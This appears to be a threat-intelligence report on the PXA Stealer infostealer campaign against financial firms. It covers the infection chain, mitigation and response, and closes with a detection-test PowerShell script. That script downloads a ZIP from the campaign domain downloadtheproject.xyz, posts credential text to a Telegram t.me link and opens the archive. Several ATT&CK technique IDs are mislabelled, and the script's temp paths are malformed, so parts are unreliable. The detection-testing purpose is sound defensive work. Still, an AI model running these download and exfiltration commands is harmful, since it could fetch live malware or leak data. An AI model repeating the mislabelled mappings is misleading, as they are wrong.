From Phishing to Exfiltration: A Deep Dive into PXA Stealer

Summary

The report describes a sharp rise in PXA Stealer activity targeting financial organizations in early 2026. Threat actors spread malicious ZIP archives through phishing emails and rely on a multi-stage infection chain that abuses legitimate system tools and a renamed Python interpreter. Once active, the malware steals browser credentials, saved passwords, and cryptocurrency wallet data, then exfiltrates the collected information through Telegram. The campaign highlights how operators have adjusted their tradecraft following earlier disruptions to other infostealer ecosystems.

Investigation

Researchers at CyberProof reconstructed the full attack chain, beginning with a phishing email that delivered a malicious Pumaproject.zip archive and ending with Telegram-based exfiltration. Their analysis identified abuse of Certutil for decoding, a copy of WinRAR disguised as picture.png for extraction, a hidden Dots folder, and a renamed svchost.exe Python interpreter used to launch an obfuscated script tied to a bot identifier. Persistence is maintained through a registry value entry.

Mitigation

Defenders should identify suspicious archive attachments, monitor script execution and known LOLBins from unexpected paths, and block outbound traffic to Telegram as well as unusual TLDs such as .shop and .xyz. Security teams should also harden email gateways and apply strict execution controls to Office files and script-based content.

Response

When PXA Stealer is detected, isolate the affected host, capture volatile evidence, and search for the referenced file artifacts and registry modifications. Remove malicious files, terminate affected processes, and reset any exposed credentials. Teams should then perform a wider threat hunt for matching indicators across the environment and notify relevant stakeholders.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  The threat actor deploys the PXA Stealer on a compromised Windows host. After the user unwittingly executes the initial malicious binary (T1204.002), the stealer runs a PowerShell snippet that:

  1. Downloads a malicious ZIP from the hard‑coded domain downloadtheproject.xyz (T1202 – indirect command execution).
  2. Exfiltrates the harvested data by posting a message to a Telegram channel via t.me (T1559.002 – phishing link).
  3. Optionally loads a malicious COM component to achieve persistence (T1127.002).

  Both outbound HTTP GET requests generate the DestinationDomain fields that the Sigma rule watches, causing an alert.

• Regression Test Script:

  # PXA Stealer simulation – triggers the detection rule
  $tmpZip = "$env:TEMPpayload.zip"
  $tmpMsg = "$env:TEMPsteal.txt"
  
  # 1. Download malicious ZIP from the first malicious domain
  Invoke-WebRequest -Uri "https://downloadtheproject.xyz/malware.zip" -OutFile $tmpZip -UseBasicParsing
  
  # 2. Simulate data exfiltration via Telegram link
  $payload = "User credentials: admin / Pass123!"
  Set-Content -Path $tmpMsg -Value $payload -Encoding ASCII
  Invoke-WebRequest -Uri "https://t.me/stealchannel?text=$( [uri]::EscapeDataString($payload) )" -UseBasicParsing
  
  # 3. (Optional) Load a dummy COM object to emulate T1127.002
  try {
      $com = New-Object -ComObject "Shell.Application"
      $com.ShellExecute($tmpZip, "", "", "open", 0) | Out-Null
  } catch {
      # Ignore errors – this is only for telemetry
  }

• Cleanup Commands:

  # Remove artifacts created by the simulation
  Remove-Item -Path $tmpZip -Force -ErrorAction SilentlyContinue
  Remove-Item -Path $tmpMsg -Force -ErrorAction SilentlyContinue